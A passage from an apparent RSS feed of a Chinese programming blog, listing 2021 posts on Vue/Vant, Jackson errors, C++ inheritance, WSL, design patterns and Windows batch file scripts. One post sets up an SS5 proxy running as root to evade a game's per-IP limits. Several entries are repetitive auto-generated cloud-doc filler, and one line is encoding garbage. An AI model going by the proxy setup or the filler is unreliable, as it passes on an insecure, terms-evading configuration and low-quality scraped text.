关键词，采用体积等效方法线性放大、缩小簇。&#xA;（5）当采用 fishsize sfname关键词时，sfname为指定的FISH函数名，通过FISH函数返回值决定簇的尺寸，该函数必须以簇的指针进行参数传递。&#xA;（6）resolution fres 关键词为可选项，控制簇生成尺寸的乘数因子。</description>
    </item>
    <item>
      <title>Vuex namespaced: true的作用</title>
      <link>https://bchobby.github.io/posts/6b240aa6c5cc127f8e2159ec522b905d/</link>
      <pubDate>Sun, 15 Aug 2021 21:41:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b240aa6c5cc127f8e2159ec522b905d/</guid>
      <description>vuex中的store分模块管理，需要在store的index.js中引入各个模块，为了解决不同模块命名冲突的问题，将不同模块的namespaced:true，之后在不同页面中引入getter、actions、mutations时，需要加上所属的模块名&#xA;1、声明分模块的store时加上namespaced:true&#xA;// initial state const state = { userId:&#39;&#39;,//用户id userName:&#39;&#39;,//用户名称 token:&#39;&#39;,//token permission:&#39;&#39;//权限 } // getters const getters = { // 获取用户信息 getUserInfo(){ return state; } } // actions const actions = {} // mutations const mutations = { setUserInfo(state,payload) { console.log(&#34;payload:&#34;+payload); console.info(payload); state.userId = payload.userId; state.userName = payload.userName; state.token = payload.token; state.permission = payload.permission; } } export default { //namespaced: true 的方式使其成为带命名空间的模块。保证在变量名一样的时候，添加一个父级名拼接。 namespaced: true, state, getters, actions, mutations } 2、使用模块中的mutations、getters、actions时候，要加上模块名，例如使用commint执行mutations时</description>
    </item>
    <item>
      <title>Java Unexpected character (‘-‘(code x)) in numeric value:expected digit (x) to follow minus sign问题解决</title>
      <link>https://bchobby.github.io/posts/53944f10e197d62b2a2136a42cf1359e/</link>
      <pubDate>Sun, 15 Aug 2021 16:20:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53944f10e197d62b2a2136a42cf1359e/</guid>
      <description>问题描述： org.springframework.http.converter.HttpMessageNotReadableException: JSON parse error: Unexpected character (&#39;-&#39; (code 45)) in numeric value: expected digit (0-9) to follow minus sign, for valid numeric value;&#xA;nested exception is com.fasterxml.jackson.core.JsonParseException: Unexpected character (&#39;-&#39; (code 45)) in numeric value: expected digit (0-9) to follow minus sign, for valid numeric value&#xA;at [Source: (PushbackInputStream); line: 1, column: 3]&#xA;问题分析： 1、使用PostMan调试后端Post接口时，请求体使用form-data方式传参，导致报错。&#xA;解决办法：&#xA;使用raw方式传参。</description>
    </item>
    <item>
      <title>Vant自定义输入框头部图标</title>
      <link>https://bchobby.github.io/posts/e2eb85f586c839a8c311f075ef211f71/</link>
      <pubDate>Sun, 15 Aug 2021 09:29:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2eb85f586c839a8c311f075ef211f71/</guid>
      <description>首先说一下，Vant官方做的文档我感觉有点糙，尤其是Udine新手，有点不友好，所以我在这里演示一下如何将Field 输入框前面自定义图标。&#xA;这是成品：&#xA;首先，你要按照官方文档进行引入：&#xA;之后，选择你想使用某一部份的代码，我选择的是能够显示字数的输入框，&#xA;&amp;lt;van-field v-model=&#34;message&#34; rows=&#34;2&#34; autosize border label=&#34;留言&#34; type=&#34;textarea&#34; maxlength=&#34;50&#34; placeholder=&#34;请输入留言&#34; show-word-limit /&amp;gt; 在官方是有一点坑的，他也不说清楚，&#xA;直接在标签里面使用就行&#xA;举例：&#xA;left-icon=&#34;chat-o&#34; 这是在以左对齐的方式，完整代码：&#xA;&amp;lt;van-field v-model=&#34;message&#34; rows=&#34;2&#34; autosize border label=&#34;留言&#34; left-icon=&#34;chat-o&#34; type=&#34;textarea&#34; maxlength=&#34;50&#34; placeholder=&#34;请输入留言&#34; show-word-limit /&amp;gt; 效果图就在最上面，我就不在展示了。</description>
    </item>
    <item>
      <title>C&#43;&#43; - 子类与父类的同名成员变量</title>
      <link>https://bchobby.github.io/posts/06576c71445c67534ac7a2b25bf57f45/</link>
      <pubDate>Sat, 14 Aug 2021 21:12:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/06576c71445c67534ac7a2b25bf57f45/</guid>
      <description>1.思考&#xA;子类中是否可以定义父类中的同名成员？如果可以，如何区分？如果不可以，为什么？&#xA;代码示例：&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;string&amp;gt; using namespace std; class Parent { public: int mi; }; class Child : public Parent { public: int mi; }; int main() { Child c; c.mi = 100; // mi 究竟是子类自定义的，还是从父类继承得到的？ return 0; } 结果：编译正确，可以通过。&#xA;父类和子类是可以存在同名变量的。&#xA;2.父类和子类之间的同名冲突&#xA;-&amp;gt; 子类可以定义父类中的同名成员。&#xA;-&amp;gt; 子类中的成员将隐藏父类中的同名成员。&#xA;-&amp;gt; 父类中的同名成员依然存在于子类中。&#xA;-&amp;gt; 通过作用域分辨符（::）访问父类中的同名成员。&#xA;Child c; c.mi = 100; //子类中的mi c.Parent::mi = 1000; //父类中的mi 代码示例：同名变量&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;string&amp;gt; using namespace std; namespace A { int g_i = 0; } namespace B { int g_i = 1; } class Parent { public: int mi; Parent() { cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>如何在CentOS系统服务器下搭建代理IP</title>
      <link>https://bchobby.github.io/posts/94929d87ad29007507c202c49a0e5c71/</link>
      <pubDate>Sat, 14 Aug 2021 13:03:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/94929d87ad29007507c202c49a0e5c71/</guid>
      <description>最近迷恋上一款手游，想着自己多开几个窗口刷点资源，但是万恶的游戏公司限制了同一IP窗口数量，然后我又想到最近某云服务器有活动，就想着自己搭建一个代理IP服务器，能够实现雷电模拟器多窗口不同IP，好了，接下来是详细教程。&#xA;首先先购买一个云服务器，不管是腾讯还是阿里又或者华为，反正都行，购买时候让你选择系统，你就选CentOS 7.6，选错了也没关系，可以在控制台更换系统，这里就不多解释。&#xA;购买好服务器和装好系统后，首先重置服务器密码，重置好以后先去下载一个远程连接服务器的工具，Xshell官网，如何使用可以看这篇文章如何连接云服务器。&#xA;当你连接上服务器后，就可以输入代码了，接下来我发的代码可以直接复制到服务器安装即可。&#xA;1、首先从官网下载ss5 wget https://nchc.dl.sourceforge.net/project/ss5/ss5/3.8.9-8/ss5-3.8.9-8.tar.gz 2 、配置编译环境及安装编译SS5依赖组件&#xA;yum -y install gcc automake make yum -y install pam-devel openldap-devel cyrus-sasl-devel openssl-devel yum -y install epel-release yum -y install net-tools yum -y install htop yum -y install wget 注：想知道安装内容的，可以把安装完的信息复制到百度翻译一下，看下内容。&#xA;3、解压、编译、安装&#xA;tar xvf ss5-3.8.9-8.tar.gz cd ss5-3.8.9 ./configure &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install 4、设置ss5账号密码及端口，增加保密性。&#xA;echo &#39;账号 密码&#39; &amp;gt; /etc/opt/ss5/ss5.passwd echo &#39;SS5_OPTS=&#34; -u root -b 0.0.0.0:端口&#34;&#39; &amp;gt; /etc/sysconfig/ss5 注：代码中中文字，需要你自己设想一个端口和账号密码，账号密码用英文数字，长度控制在6位左右，端口4位数，自己保存好。&#xA;5、修改配置文件&#xA;echo &#39;auth 0.</description>
    </item>
    <item>
      <title>WSL安装和配置</title>
      <link>https://bchobby.github.io/posts/42f7050fe3f4d0774762dd1ded4832d7/</link>
      <pubDate>Sat, 14 Aug 2021 01:53:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42f7050fe3f4d0774762dd1ded4832d7/</guid>
      <description>WSL的安装和配置 一 什么是WSL二 WSL的安装1 Linux子系统安装环境配置2 安装Linux发行版3 安装WIndows终端（可选）4 待补充，wsl路径问题 三 WSL中使用adb 待补充，座位单独一篇文章四 配置安装过程遇到的问题1 &#34;WslRegisterDistribution failed with error: 0x800701bc&#34;2 &#34;To run a command as administrator (user &#34;root&#34;), use &#34;sudo &#34;.See &#34;man sudo_root&#34; for details.&#34; 五 参考文章 一 什么是WSL Windows Subsystem for Linux（简称WSL）是一个为在Windows 10上能够原生运行Linux二进制可执行文件（ELF格式）的兼容层-百度百科。&#xA;Windows下Linux的子系统。就是在WIndows上安装了一个Linux环境。（可以自行百度使用虚拟机和WSL的区别）。&#xA;二 WSL的安装 1 Linux子系统安装环境配置 两种配置方法：&#xA;A ：控制面板（Shortcut：Win+R，输入control）-&amp;gt;程序-&amp;gt;启动或关闭windowss功能-&amp;gt;勾选 适用于Linux的Windows子系统。&#xA;B：搜索栏（Shortcut：Win+S）中搜索启动或关闭windowss功能，勾选 适用于Linux的Windows子系统。&#xA;勾选后这里会提示重启，重启之后再进行后续配置。&#xA;2 安装Linux发行版 打开 Microsoft Store，搜索 Ubuntu，并选择你偏好的 Linux 分发版。这里选择了Ubuntu 20.04 LTS。&#xA;安装&#xA;为linux发行版创建用户名和密码&#xA;3 安装WIndows终端（可选） 这里选择Windows Terminal Preview的原因是，Windows Terminal Preview可以打开多个以标签页形式存在的子窗口，且可以通过json设置自己喜欢的样式（下面 PowserShell修改过样式）。</description>
    </item>
    <item>
      <title>服务器选用系统,服务器操作系统选用</title>
      <link>https://bchobby.github.io/posts/a778c30958940a9480c6f63c727135fc/</link>
      <pubDate>Fri, 13 Aug 2021 22:07:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a778c30958940a9480c6f63c727135fc/</guid>
      <description>服务器操作系统选用 内容精选&#xA;换一换&#xA;首先需要准备一台Linux系统的物理服务器作为镜像制作服务器(即宿主机)。制作x86镜像选用x86服务器，制作ARM镜像选用ARM服务器。宿主机必须安装：vsftpd服务sshd服务vnc服务virt-manager工具kvm虚拟化软件虚拟化管理工具virt-manager可以从开源官网下载安装，也可以在操作系统安装包里选择安装。需要准备&#xA;Atlas 800 训练服务器(型号 9000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 训练服务器 用户指南 (型号9000, 风冷)》或《Atlas 800 训练服务器 用户指南 (型号9000, 液冷)》。Atlas 800 训练服务器(型号 9000)适配操作系统如表1所示。请参考表2下载驱动和固&#xA;服务器操作系统选用 相关内容&#xA;购买弹性云服务器选错镜像，可以通过云平台的“切换操作系统”功能更换镜像。选择待切换操作系统的弹性云服务器，单击弹性云服务器列表左上角的“关机”。在待切换操作系统的弹性云服务器的“操作”列下，单击“更多 &amp;gt; 镜像/磁盘 &amp;gt; 切换操作系统”。系统进入“切换操作系统”界面。系统进入“切换操作系统”界面。根据需求选择需要更换的“镜像类型”和“镜像&#xA;本节操作介绍在Windows和Linux环境中使用SSH密码方式远程登录Linux云服务器的操作步骤。弹性云服务器状态为“运行中”。弹性云服务器已经绑定弹性公网IP，绑定方式请参见绑定弹性公网IP。所在安全组入方向已开放22端口，配置方式请参见配置安全组规则。使用的登录工具(如PuTTY)与待登录的弹性云服务器之间网络连通。例如，默认的2&#xA;服务器操作系统选用 更多内容&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;公共镜像是由华为云官方提供的镜像，适配了弹性云服务器或裸金属服务器兼容性并安装了必要的初始化插件，所有用户均可使用，涵盖大部分主流操作系统。本文介绍公共镜像类型和公共镜像特点。华为云提供的公共镜像覆盖华为自研EulerOS镜像和第三方商业镜像，您可以根据实际需要选择。在使用过程中，如果遇到操作系统类问题，您可以联系操作系统厂商或者开源社区&#xA;如果您需要使用毕昇JDK，则需要先在服务端安装毕昇JDK。毕昇JDK基于OpenJDK开发，是一个高性能、可用于生产环境的OpenJDK发行版，它积累了大量使用场景和Java开发者反馈的问题和诉求，解决了业务实际运行中遇到的多个问题，并在ARM架构上进行了性能优化。当前仅以下操作系统下支持安装毕昇JDK：openEuler 20.03(L&#xA;如果您需要使用毕昇JDK，则需要先在服务端安装毕昇JDK。毕昇JDK基于OpenJDK开发，是一个高性能、可用于生产环境的OpenJDK发行版，它积累了大量使用场景和Java开发者反馈的问题和诉求，解决了业务实际运行中遇到的多个问题，并在ARM架构上进行了性能优化。当前仅以下操作系统下支持安装毕昇JDK：openEuler 20.03(L&#xA;该任务以“CentOS 7 64位”操作系统为例，指导用户安装Linux操作系统。由于镜像文件不同，安装步骤稍有不同，请根据实际的安装界面提示进行操作。请根据实际情况完成时区，KMS地址，补丁服务器和Repo源更新地址，输入法，语言等相关配置。已使用平台提供的“远程登录”方式，登录云服务器并进入安装界面。操作系统安装成功前，禁止关闭或重启&#xA;为了保证使用私有镜像创建的新云服务器可以通过“用户数据注入”功能注入初始化自定义信息(例如为云服务器设置登录密码)，请在创建私有镜像前安装Cloud-Init工具。安装Cloud-Init工具时需要从官网下载并安装，因此，需要提前为云服务器绑定弹性公网IP。不安装Cloud-Init工具，将无法对云服务器进行自定义配置，只能使用镜像原有密&#xA;本章节指导用户通过管理控制台扩容状态为“正在使用”的云硬盘，该状态表示当前需要扩容的云硬盘已经挂载给云服务器，并且扩容时不需要卸载。云硬盘状态查看方法请参见查看云硬盘详细信息。当前EVS扩容功能支持扩大云硬盘容量，不支持缩小云硬盘容量。对状态为“正在使用”的云硬盘进行扩容时，云硬盘所挂载的云服务器状态必须为“运行中”或者“关机”才支持扩容&#xA;本节操作指导您完成Windows操作系统云服务器磁盘空间清理。弹性云服务器匀出一部分磁盘空间来充当内存使用，当内存耗尽时，云服务器可以使用虚拟内存来缓解内存的紧张。但当内存使用率已经非常高时，频繁的内存与虚拟内存的切换会导致产生大量额外的IO操作，导致IO性能下降。因此可以关闭虚拟内存，来清理Windows操作系统的磁盘空间。以下操作以W&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。</description>
    </item>
    <item>
      <title>ftp服务器修改pasv,ftp服务器修改pasv</title>
      <link>https://bchobby.github.io/posts/b6ee30c7c08e95b3d31be88f77587639/</link>
      <pubDate>Fri, 13 Aug 2021 22:06:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6ee30c7c08e95b3d31be88f77587639/</guid>
      <description>ftp服务器修改pasv 内容精选&#xA;换一换&#xA;您可以通过华为云的域名注册服务管理您的域名，如表1所示。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;ftp服务器修改pasv 相关内容&#xA;本节操作介绍当云耀云服务器的网卡需要变更所属安全组时的操作步骤。登录管理控制台。选择“计算 &amp;gt; 云耀云服务器”。在云耀云服务器列表，单击待变更安全组规则的云耀云服务器名称。系统跳转至该云耀云服务器详情页面。系统跳转至该云耀云服务器详情页面。选择“安全组”页签，并单击“更改安全组”。系统弹窗显示“更改安全组”页面。更改安全组系统弹窗显示“更&#xA;微软操作系统使用安全标识符(SID)对计算机和用户进行识别。如果需要搭建Windows域环境，由于基于同一镜像创建的云服务器SID相同，会引起无法入域，此时需要通过修改SID以达到入域的目的。本节操作介绍使用sidchg工具修改云服务器SID的方法。如果需要批量修改SID，请通过私有镜像执行Sysprep的方法解决。修改云服务器SID可能&#xA;ftp服务器修改pasv 更多内容&#xA;当云服务器密码即将过期、密码泄露或首次登录时(首次登录云服务器建议您修改初始密码)，您可以参考本节操作在操作系统内部修改弹性云服务器密码。优先推荐您参考在控制台重置云服务器密码，在控制台重置实例的登录密码。可以登录弹性云服务器。弹性云服务器的密码规则如表1所示。远程登录Windows弹性云服务器。登录方法请参见Windows云服务器云主机&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;当裸金属服务器绑定了弹性公网IP时，通过带宽提供公网和裸金属服务器间的访问流量。当裸金属服务器的带宽需要调整时，可以参考本节操作。登录管理控制台。选择“计算 &amp;gt; 裸金属服务器”。在裸金属服务器列表中，单击待调整带宽的裸金属服务器名称。系统跳转至该裸金属服务器详情页面。系统跳转至该裸金属服务器详情页面。选择“弹性公网IP”页签，展开待修改的&#xA;云平台支持修改主网卡的私有IP地址，具体操作请参见本节内容。如需修改扩展网卡的私有IP地址，请删除网卡，并挂载新网卡。弹性云服务器已关机。如果网卡绑定了虚拟IP或者DNAT规则，需要先解绑。如果网卡上有IPv6地址，无法修改(包括IPv4和IPv6的)私有IP地址。如需修改弹性负载均衡后端服务器的私有IP地址，请先移出后端服务器组后再修改&#xA;以NTP服务器、DNS服务器的操作系统均为SUSE为例：登录Linux弹性云服务器。执行以下命令，切换至root用户。sudo su -sudo su -执行以下命令，编辑ntp.conf文件。vim /etc/ntp.confvim /etc/ntp.conf添加以下语句，配置NTP服务器。server NTP服务器域名或IP地址示例：&#xA;Atlas 200 DK开发者板支持通过USB端口或者网线与Ubuntu服务器进行连接，连接示例图如图1所示。Atlas 200 DK连接Ubuntu服务器有以下场景：通过USB端口直连Ubuntu服务器：使用USB连接线通过USB端口与Ubuntu服务器直连。此种场景下，Atlas 200 DK不方便接入网络，仅适用于与Ubuntu服务&#xA;Atlas 200 DK开发者板支持通过USB端口或者网线与Ubuntu服务器进行连接，连接示例图如图1所示。Atlas 200 DK连接Ubuntu服务器有以下场景：通过USB端口直连Ubuntu服务器：使用USB连接线通过USB端口与Ubuntu服务器直连。此种场景下，Atlas 200 DK不方便接入网络，仅适用于与Ubuntu服务&#xA;Atlas 200 DK开发者板支持通过USB端口或者网线与Ubuntu服务器进行连接，连接示例图如图1所示。Atlas 200 DK连接Ubuntu服务器有以下场景：通过USB端口直连Ubuntu服务器：使用USB连接线通过USB端口与Ubuntu服务器直连。此种场景下，Atlas 200 DK不方便接入网络，仅适用于与Ubuntu服务&#xA;添加安全组规则时，您必须指定通信端口或端口范围。当安全组检测到外部访问请求时，会同时检查入方向上发送请求的设备的IP地址及端口是否在允许放行的安全组规则中，只有匹配到的安全组规则允许放行该请求时，才可以建立数据通信。弹性云服务器常用端口如表1所示。您可以通过配置安全组规则放通弹性云服务器对应的端口，详情请参见添加安全组规则。关于Windo&#xA;有，该NTP服务器仅限于在华为云控制台上购买的弹性云服务器安装使用。如需在购买的弹性云服务器上安装NTP服务器，您可以选择使用华为云控制台自己提供的NTP服务器，也可以选择其他NTP服务器。安装NTP服务器的操作相同，本节以华为云控制台提供的NTP服务器为例，介绍在弹性云服务器上安装NTP服务器的操作。使用华为云提供的NTP服务器时，需和</description>
    </item>
    <item>
      <title>【设计模式】访问者模式 ( 简介 | 适用场景 | 优缺点 | 代码示例 )</title>
      <link>https://bchobby.github.io/posts/e7521cd98f89bb5144ff748061b0c87d/</link>
      <pubDate>Fri, 13 Aug 2021 21:14:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e7521cd98f89bb5144ff748061b0c87d/</guid>
      <description>文章目录 一、访问者模式简介二、访问者模式 适用场景三、访问者模式 优缺点四、访问者模式 与 迭代器模式五、代码示例1、Game 父类 ( 被访问者 )2、VipGame 收费游戏 ( 被访问者 )3、FreeGame 免费游戏 ( 被访问者 )4、IVisitor 访问者接口5、VipVisitor 付费玩家6、测试类 一、访问者模式简介 访问者模式 : 封装 作用于 某种 数据结构 的 各元素 操作 , 数据结构指的是 List , Set , Map 等 ;&#xA;在 不改变 元素类 的前提下 , 定义 作用于 元素 的操作 ;&#xA;访问者模式类型 : 行为型 ;&#xA;二、访问者模式 适用场景 访问者模式 适用场景 :&#xA;List , Set , Map 等 数据结构 中 , 包含 很多类型的对象 ;</description>
    </item>
    <item>
      <title>批处理取文件中的特定字符串作为文件名</title>
      <link>https://bchobby.github.io/posts/1c49366823b6e11cf426e9b51d1ca4cb/</link>
      <pubDate>Fri, 13 Aug 2021 21:11:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c49366823b6e11cf426e9b51d1ca4cb/</guid>
      <description>本程序查找文件名中含有; $ +等特殊字符的文件，取出其文件中标签&amp;lt;h2&amp;gt;和&amp;lt;/h2&amp;gt;之间的内容，把其作为文件名，替换掉原来的文件名&#xA;@echo off rem 默认为utf-8编码&#xA;Chcp 65001&#xA;Setlocal Enabledelayedexpansion echo begin &amp;gt; log.txt&#xA;::取出当前目录和所有子目录下文件名含有; $ +等字符的文件列表存入dir.txt文件中&#xA;dir /b /s /on *.html | findstr &#34;[; $ +]&#34; &amp;gt; dir.txt&#xA;::遍历dir.txt中的每一条文件名&#xA;for /f &#34;delims=&#34; %%i in (dir.txt) do (&#xA;set files=%%i&#xA;set name=%%~ni&#xA;set ex=%%~xi ::取出文件中&amp;lt;h2&amp;gt;标签之间的文字，因为含有空格，使用usebackq&#xA;for /f &#34;usebackq eol=@ tokens=3* delims=&amp;lt;&amp;gt;&#34; %%j in (`findstr &#34;&amp;lt;h2&amp;gt;&#34; &#34;!files!&#34;`) do set newname=%%j&#xA;:: 用取出的文字替换文件名 for /f &#34;usebackq eol=@ tokens=3* delims=&amp;lt;&amp;gt;&#34; %%j in (`findstr &#34;</description>
    </item>
    <item>
      <title>批处理把文件自动移动到相关的目录下</title>
      <link>https://bchobby.github.io/posts/bc8454f3aabaf837d8ef7a760517b3ea/</link>
      <pubDate>Fri, 13 Aug 2021 20:58:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc8454f3aabaf837d8ef7a760517b3ea/</guid>
      <description>当前目录下有几万个文件，文件名为英文，把文件按首字母存放到下级目录中。用批处理实现自动移动文件。文件类型可以是任意。新建的目录名按照a,b,c,d...z建立。&#xA;：：rem 此程序把指定的html文件按照英文首字母创建目录，并把文件移动到相关目录下&#xA;@echo off rem 默认为utf-8编码&#xA;Chcp 65001&#xA;Setlocal Enabledelayedexpansion&#xA;echo begin &amp;gt; log.txt&#xA;：：rem 用for获取当前目录下的所有html类型文件&#xA;for %%i in (*.html) do (&#xA;set files=%%i&#xA;set name=%%~ni&#xA;：：获取文件路径&#xA;set path=%%~pi&#xA;set firstname=!name:~0,1! ：：在当前目录下创建目录名为文件名首字母的目录&#xA;set newpath=!path!!firstname!&amp;amp;echo newpath=!path!!firstname!&amp;gt;&amp;gt;log.txt&#xA;：：如果目录不存在，就创建一个目录&#xA;if not exist !newpath! (echo !newpath!notexist&amp;gt;&amp;gt;log.txt &amp;amp;md !newpath!)&#xA;：：把文件移动到以其首字母命名的目录下&#xA;move &#34;!files!&#34; &#34;!newpath!\&#34;&#xA;)&#xA;goto eof&#xA;rem ---------------------------------------------------------------------</description>
    </item>
    <item>
      <title>mini主机做网站服务器,mini主机做服务器</title>
      <link>https://bchobby.github.io/posts/b6f86c8201181e086fdc79a8cea43f94/</link>
      <pubDate>Fri, 13 Aug 2021 20:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6f86c8201181e086fdc79a8cea43f94/</guid>
      <description>mini主机做服务器 内容精选&#xA;换一换&#xA;安装并启动Agent后，迁移Agent会自动收集源端服务器信息并发送给主机迁移服务默认迁移任务下。收集的所有信息仅用于数据迁移，不会用做其他用途。具体收集源端哪些信息可查看主机迁移服务会收集源端的哪些信息？。您可以随时登录管理控制台查看服务器信息，包括源端服务器详情、目的端配置信息、迁移状态以及错误信息提示等。&#xA;安装并启动Agent后，迁移Agent会自动收集源端服务器信息并发送给主机迁移服务默认迁移项目下。收集的所有信息仅用于数据迁移，不会用做其他用途。具体收集源端哪些信息可查看主机迁移服务会收集源端的哪些信息？。您可以随时登录管理控制台查看服务器信息，包括源端服务器详情、目的端预设信息、迁移状态以及错误信息提示等。进入“主机迁移服务”页面。进&#xA;mini主机做服务器 相关内容&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;本文主要从应用场景，迁移流程，业务连续性来对比主机迁移服务与IMS镜像服务的区别，以便在主机迁移过程中帮助您更好的选择迁移服务。IMS应用场景为线下服务器上云，通过制作镜像来完成迁移任务，常见的应用场景有：部署特定软件环境，批量部署软件环境和服务器运行环境备份，具体请参考：镜像服务IMS应用场景。SMS应用场景为线下X86物理服务器或者私&#xA;mini主机做服务器 更多内容&#xA;为了更加安全高效的使用云监控服务提供的主机监控功能，我们提供了最新方式的Agent授权方法。在安装主机监控Agent前，仅需要一键式单击该区域的授权按钮或者在创建弹性云服务器页面勾选云监控Agent委托，则系统会自动对该区域下所有云服务器或裸金属服务器安装的Agent做临时AK/SK授权，并且以后在该区域新创建的资源都会自动获得此授权。本&#xA;云服务器可以在专属主机与公共资源池之间迁移，具体包括：将创建在专属主机上的云服务器迁移至其他专属主机。将创建在专属主机上的云服务器迁移至公共资源池，即不再部署在专属主机上。将公共资源池的云服务器迁移至专属主机上，成为专属主机上创建的云服务器。此场景需要在弹性云服务器页面操作，具体请参见《弹性云服务器用户指南》的“迁移云服务器”章节。仅支持&#xA;用户可以在管理控制台对专属主机上的云服务器进行管理类操作，包括开机、关机、重启、删除。登录管理控制台。单击管理控制台左上角的，选择区域和项目。选择“计算 &amp;gt; 专属主机”。进入专属主机信息页面。进入专属主机信息页面。在专属主机列表中，单击专属主机的名称。进入该专属主机信息页面。进入该专属主机信息页面。在“专属主机上的云服务器”区域的云服务器&#xA;WinSCP工具可以实现在本地与远程计算机之间安全地复制文件。与使用FTP上传代码相比，通过 WinSCP 可以直接使用服务器账户密码访问服务器，无需在服务器端做任何配置。通常本地Windows计算机将文件上传至Linux服务器一般会采用WinSCP工具。本节为您介绍本地Windows计算机使用WinSCP工具，上传文件至Linux云服务&#xA;公有云平台支持弹性云服务器在专属主机与公共资源池之间迁移，具体包括：将创建在专属主机上的弹性云服务器迁移至其他专属主机。将创建在专属主机上的弹性云服务器迁移至公共资源池，即不再部署在专属主机上。将公共资源池的弹性云服务器迁移至专属主机上，成为专属主机上创建的弹性云服务器。关机状态的弹性云服务器才能执行迁移操作。云备份或云服务器备份不受冷迁&#xA;您可以为需要容灾的云服务器在指定的保护组下创建保护实例。在当前的生产站点遇到不可抗力导致大规模服务器故障时，您可以调用保护组的操作接口进行故障切换，从而确保保护实例上运行的业务正常连续。为每一个需要复制的服务器挑选一个保护组，并创建一个保护实例。创建保护实例过程中，会在保护组的容灾站点创建对应的服务器和磁盘，服务器规格可根据需要进行选择，&#xA;华为云帮助中心，为用户提供产品简介、价格说明、购买指南、用户指南、API参考、最佳实践、常见问题、视频帮助等技术文档，帮助您快速上手使用华为云服务。&#xA;专属主机(Dedicated Host，DeH)，是指用户可独享的专属物理主机资源。您可以将云服务器创建在您的专属主机上，满足您对隔离性、安全性、性能的更高要求。同时，您还可以在迁移业务至专属主机时，继续使用迁移前的服务器端软件许可，即支持自带许可(BYOL)，达到节省开支、提高对云服务器的自治等目的。专属主机与普通ECS主机的区别如图1&#xA;ר��������Dedicated Host��DeH������ָ�û��ɶ����ר������������Դ�������Խ��Ʒ���������������ר�������ϣ��������Ը����ԡ���ȫ�ԡ����ܵĸ���Ҫ��ͬʱ������������Ǩ��ҵ����ר������ʱ������ʹ��Ǩ��ǰ�ķ������������ɣ���֧���Դ���ɣ�BYOL�����ﵽ��ʡ��֧����߶��Ʒ����������ε�Ŀ�ġ�&#xA;在专属主机资源上创建云服务器失败，可能由以下原因造成：您所选择的云服务器规格不在您已有的专属主机支持范围内。各类型专属主机支持的云服务器规格请参见概述。各类型专属主机支持的云服务器规格请参见概述。您的专属主机资源不足，无法创建您所选择的云服务器规格。您可以查看专属主机的剩余vCPU和内存数量是否满足您所选择的云服务器规格。如果资源不足，您&#xA;企业主机安全(Host Security Service，HSS)是提升服务器整体安全性的服务，通过主机管理、风险防御、入侵检测、安全运营、网页防篡改功能，可全面识别并管理云服务器中的信息资产，实时监测云服务器中的风险，降低服务器被入侵的风险。使用主机安全需要在云服务器中安装Agent。安装Agent后，您的云服务器将受到HSS云端防护中</description>
    </item>
    <item>
      <title>超详细在vue中配置vantUI组件</title>
      <link>https://bchobby.github.io/posts/1ae70644b7c50bc81d4301dcdac0d1fb/</link>
      <pubDate>Fri, 13 Aug 2021 16:58:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ae70644b7c50bc81d4301dcdac0d1fb/</guid>
      <description>打开van的官方网站&#xA;https://vant-contrib.gitee.io/vant/#/zh-CN/quickstart&#xA;这是网址点击快速上手 根据你不同的脚手架版本进行安装&#xA;（我使用的是脚手架2）&#xA;3.直接找到引入组件&#xA;4.在相应的文件进行配置&#xA;注意看代码的位置，好多小伙伴直接复制粘贴是不对的，要在相应的位置进行复制粘贴&#xA;这是配置好的文件（可以有一些出处）&#xA;ps：我是按照按需引用来配置的，这也是官网所推荐的&#xA;6.测试&#xA;cd到你所创建的目录下，&#xA;输入&#xA;npm run dev 运行无误后，&#xA;进行导入（在下面的例子我是随意找的组件进行的操作，到时候你们也可以这么做）&#xA;上图是我对vant的部分组件进行的一系列导入，&#xA;注意:&#xA;1.是在main.js文件中进行导入&#xA;2.在import中可以合并成：&#xA;import { xxx ,xxx ,xxx} from ‘vant’;&#xA;我是在刚开始的helloword文件中进行的测试，测试环节我就不再展示了。</description>
    </item>
    <item>
      <title>Latex 入门</title>
      <link>https://bchobby.github.io/posts/9df28379929618fab21b63096a4d3c68/</link>
      <pubDate>Fri, 13 Aug 2021 16:13:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9df28379929618fab21b63096a4d3c68/</guid>
